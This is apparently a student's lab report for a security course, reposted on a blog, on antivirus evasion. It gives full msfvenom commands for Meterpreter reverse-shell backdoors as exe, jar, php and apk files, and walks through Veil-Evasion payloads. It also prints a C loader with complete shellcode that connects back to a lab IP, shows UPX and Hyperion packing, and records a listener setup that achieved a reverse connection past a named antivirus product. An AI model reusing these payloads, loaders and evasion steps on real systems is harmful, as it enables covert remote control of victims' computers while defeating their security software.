• 20181223何家豪 Exp3-免杀原理


    一、实践目标

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
    • 通过组合应用各种技术实现恶意代码免杀

      如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图

    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、基础问题回答

    1. 杀软是如何检测出恶意代码的?

    1. 工程师提前在杀软的库中储存了大量恶意代码的特征码,当本机检测样本文件特征码与病毒库中病毒特征码进行比对,如果比对成功,那么就说明这是恶意代码。
    2. 杀软实时监测软件行为,当软件做出越界操作时,可以认为它是恶意代码。
    

    2. 免杀是做什么?

    免杀一般是通过修改病毒、木马内容而改变其特征码,从而躲避杀软的查杀。
    

    3. 免杀的基本方法有哪些?

    1. 改变特征码:如加壳、重写再编译。
    2. 改变行为:尽量使用反弹式连接、减少对系统的修改。
    

    三、实践过程

    (一):正确使用msf编码器、msfvenom生成如jar之类的其他文件

    1. 免杀检测

    在实验二中使用msf生成了后门程序20181223_backdoor.exe,可以用VirusTotal对生成的后门程序进行扫描。
    可以看到,70款杀软中54款报了病毒,不加处理的后门程序能被大部分的杀软检测到

    Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。

    2. 正确使用msf编码器

    使用msf编码器对后门程序进行一次到多次编码,并进行检测。

    • 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性

    (1)一次编码

    一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.3.180 LPORT=1223 -f exe > 20181223_backdoor.exe

    对生成的20181223_backdoor.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:

    70款软件里有53款报了病毒,比上次少了一个

    (2)多次编码

    十次编码使用命令:-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.3.180 LPORT=1223 -f exe > 20181223_backdoor.exe

    继续使用VirusTotal进行扫描,扫描结果如下图所示:

    70款软件里有55款报了病毒,比最开始还多了一个

    很明显,我们的实验结果和理论不符,多次编码后竟然提高了被查杀概率。
    这说明,简单的多次编码并不能实现免杀。

    3. msfvenom生成jar文件

    (1)生成java后门程序

    生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.jar

    (2)检测程序

    对生成的20181223_backdoor.jar后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    61款软件里有34款报了病毒,数量上要少一些了

    4. msfvenom生成php文件

    (1)生成php后门程序

    生成php后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.php

    (2)检测程序

    对生成的20181223_backdoor.php后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    57款杀软里有19款报了病毒,数量更少了

    5. msfvenom生成apk文件

    (1)生成apk后门程序

    生成apk后门程序使用命令:
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 x > 20181223_backdoor.apk

    (2)检测程序

    对生成的20181223_backdoor.apk后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    64款杀软里有32款报了病毒,数量又回升了一些

    6. 使用veil-evasion生成后门程序及检测

    (1)安装veil

    使用sudo apt-get install veil-evasion命令安装veil

    (2)配置veil

    输入veil指令,进入veil界面
    输入s进行默认配置

    这样就安装好了

    (3)veil生成后门程序

    输入指令使用veil-evasion
    use 1

    输入指令,可以查看指令的用途
    list

    输入命令进入配置界面
    use 22

    设置端口号和IP地址,此处IP为虚拟机IP
    set LHOST 192.168.3.180//设置反弹连接IP set LPORT 1223//设置端口 options

    输入generate生成文件,接着输入你想要playload的名字:veil_1223

    在对应的目录找到生成的veil_1223.bat文件

    (4)检测程序

    59款杀软里有34款报毒,数量和之前差不多

    7. 注入Shellcode并执行(嵌入式Shellcode)

    (1)生成shellcode

    首先使用命令用c语言生成一段shellcode
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.180 LPORT=1223 -f c

    (2)创建源文件

    创建一个文件20181223.c,然后将unsigned char buf[]赋值到其中,代码如下:
    创建20181223.c文件,文件内容为

    #include <stdio.h>
    
    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x03xb4"
    "x68x02x00x04xc7x89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    
    int main()
    {
    int (*func)() = (int(*)())buf;
    func();
    }
    

    编译文件
    i686-w64-mingw32-g++ 20181223.c -o 20181223.exe

    (3)检测程序

    对创建的20181223.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示

    69款杀软里有35款报毒,相比之下少了一点

    不过关闭了杀软和防火墙后,可以在本机环境运行

    8. 加壳

    (1)压缩壳加壳

    给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,指令为
    upx 20181223.exe -o 20181223_upx.exe

    (2)检测程序

    对创建的20181223_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示

    69款杀软里有32款报毒,相比之下又少了一点

    (3)加密壳加壳

    加密壳(Hyperion)进行加壳,将加壳的文件复制到/usr/share/windows-resources/hyperion/中
    sudo cp 20181223_upx.exe /usr/share/windows-resources/hyperion/
    输入命令
    wine hyperion.exe -v 20181223_upx.exe 20181223_hyperion_upx.exe

    (4)检测程序

    对创建的20181223_hyperion_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下所示

    70款杀软里有49款报毒,数量反而回升了

    9. 其他方法

    (1)使用Veil-Evasion的其他载荷生成后门

    启动veil
    输入命令veil启动, 用use evasion命令进入Evil-Evasion
    输入list查看其他可用的有效荷载
    输入命令use 13,这里我选择的是第13个载荷cs/shellcode_inject/virtual.py

    输入option,查看有效荷载的选项
    然后运行generate生成有效载荷,我们选择4带有shellcode的有效载荷。这里会要求输入本机的IP:192.168.3.125和该payload使用的端口,我们设置为1223端口

    成功完成以上编译后,编译后的文件被保存在/var/lib/veil/output/compiled/veil_1223.exe下,同时新生成的 shellcode 的 rc 文件也被保存在了 /var/lib/veil/output/handlers/veil_1223.rc下!既然有了rc文件,那么我们就可以方便的利用MSF 进行调用
    进入该文件目录下cd /var/lib/veil/output/handlers/,使用命令msfconsole -r veil_1223.rc
    对创建的后门文件,使用VirusTotal进行扫描,扫描结果如下所示

    64款杀软里有32款报毒,和之前差不多

    (二)通过组合应用各种技术实现恶意代码免杀

    在上述的实验过程中
    先使用veil-evasion生成了后门程序veil_1223.exe
    再使用upx对其进行加壳,生成了20181223_upx.exe
    其实在进行完上述两个步骤之后,已经实现了免杀
    再使用Hyprion加密壳对20181223_upx.exe再次加壳,生成20181223_hyperion_upx.exe
    依然可以实现免杀的目的

    (三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    使用kali虚拟机作为主机,将本机作为宿主
    杀软为火绒安全软件,版本号5.0.59.0
    使用的后门程序为20181223_upx.exe
    依次输入以下指令开始监听

    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.128.129
    set LPORT 1202
    exploit
    

    在windows主机中运行20181223_upx.exe,反向连接成功

    四、实践总结与体会

    经过这次实验,我更加深刻地体会到了防范恶意代码在我们生活中的必要性。同时,我们应该打开电脑上的杀毒软件,这样才能更好地保护我们的电脑和隐私。
    并且,这次实验给我的印象也是深刻的。大量的操作让我对恶意代码的生成有了更多的认识。
    在安装veil时,我遇到了问题。kali系统内自带的veil配置文件在转义上出现了错误,我只能拷贝一份别人的veil文件夹覆盖掉我的数据,这才安装成功。

    五、开启杀软能绝对防止电脑中恶意代码吗?

    不能。因为总会有新的病毒或者木马没有被发现过,比如之前的勒索程序。同样,用户不安全的操作也是中恶意代码的隐患。

  • 相关阅读:
    使用MVC模型的几个常见误区
    ModelViewControl
    真的简单,还是盲目乐观?
    Kernel Korner Why and How to Use Netlink Socket
    我们手机平台的几个基础模型
    彩信库(mmslib)设计备忘录
    消极状态集
    文摘《十三》
    文摘《十二》
    文摘《十一》
  • 原文地址:https://www.cnblogs.com/soujiokita/p/14618269.html
Copyright © 2020-2023  润新知